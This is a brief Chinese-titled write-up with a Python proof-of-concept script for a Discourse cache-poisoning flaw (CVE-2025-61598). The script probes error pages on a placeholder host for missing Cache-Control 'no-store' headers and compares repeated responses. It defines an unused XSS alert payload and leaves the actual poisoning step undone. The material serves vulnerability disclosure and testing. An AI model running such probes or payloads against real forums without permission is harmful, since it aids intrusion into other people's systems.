Discourse Cache-Control响应头缺失导致缓存投毒漏洞（CVE-2025-61598）

# CVE-2025-61598 PoC - Discourse Cache Poisoning # This PoC demonstrates how missing Cache-Control headers can lead to cache poisoning import requests import time TARGET_URL = "https://vulnerable-discourse-instance.com" EVIL_PAYLOAD = "<script>alert('Cache Poisoned - XSS')</script>" def test_cache_poisoning(): """ Test for missing Cache-Control headers in error responses """ # Step 1: Trigger an error response print("[+] Step 1: Triggering error response...") error_urls = [ f"{TARGET_URL}/nonexistent-page-12345", f"{TARGET_URL}/?error_trigger=1", f"{TARGET_URL}/invalid/path/to/trigger/error" ] for url in error_urls: response = requests.get(url) cache_control = response.headers.get('Cache-Control', 'NOT SET') print(f" URL: {url}") print(f" Status: {response.status_code}") print(f" Cache-Control: {cache_control}") # Check if Cache-Control is missing or allows caching if 'no-store' not in cache_control.lower() or 'not set' in cache_control.lower(): print(f" [!] VULNERABLE: Cache-Control header missing or not set to 'no-store'") # Step 2: Simulate cache poisoning by injecting malicious content print("\n[+] Step 2: Simulating cache poisoning...") poisoned_url = f"{TARGET_URL}/error-page" # In real attack, attacker would poison the cache with malicious content # The proxy would cache this response without no-store directive # Step 3: Verify if subsequent requests get cached content print("[+] Step 3: Checking if response can be cached...") response1 = requests.get(poisoned_url) response2 = requests.get(poisoned_url) if response1.text == response2.text: print(" [i] Response is consistent - may be cached") print("\n[!] Note: Full exploitation requires proxy server interaction") print("[!] Attacker needs to poison the proxy cache with malicious content") if __name__ == "__main__": test_cache_poisoning()